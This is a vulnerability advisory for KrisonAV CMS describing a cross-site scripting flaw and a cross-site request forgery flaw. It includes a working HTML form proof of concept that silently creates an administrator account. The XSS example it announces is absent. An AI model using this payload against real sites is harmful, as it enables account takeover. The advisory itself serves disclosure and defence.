Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to 
perform cross-site scripting and cross-site request forgery attacks.

1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712

The vulnerability exists due to insufficient filtration of user-supplied data passed to "content" HTTP GET parameter 
via "/services/get_article.php" script. A remote attacker can trick a logged-in user to follow a specially crafted link 
and execute arbitrary HTML and script code in user's browser in context of the vulnerable website.

The exploitation example below uses JavaScript "alert()" function to display user's cookies:


2) Сross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CVE-2013-2713

The vulnerability exists due to insufficient verification of the HTTP request origin in "/users_maint.html" script. A 
remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a new account with 
administrative privileges.

PoC (Proof-of-Concept) below will create a new account with login "username" and password "password":

<form action="http://[host]/users_maint.html?itemid=52&maint=1&ccsForm=users"; method="post" name="f1">
<input type="hidden" name="disabledCheckBox" value="1">
<input type="hidden" name="username" value="username">
<input type="hidden" name="password" value="password">
<input type="hidden" name="groups_index" value="20">
<input type="hidden" name="email" value="newuser () mail com">
<input type="hidden" name="Button_Insert" value="Save">
<input type="submit" id="btn">
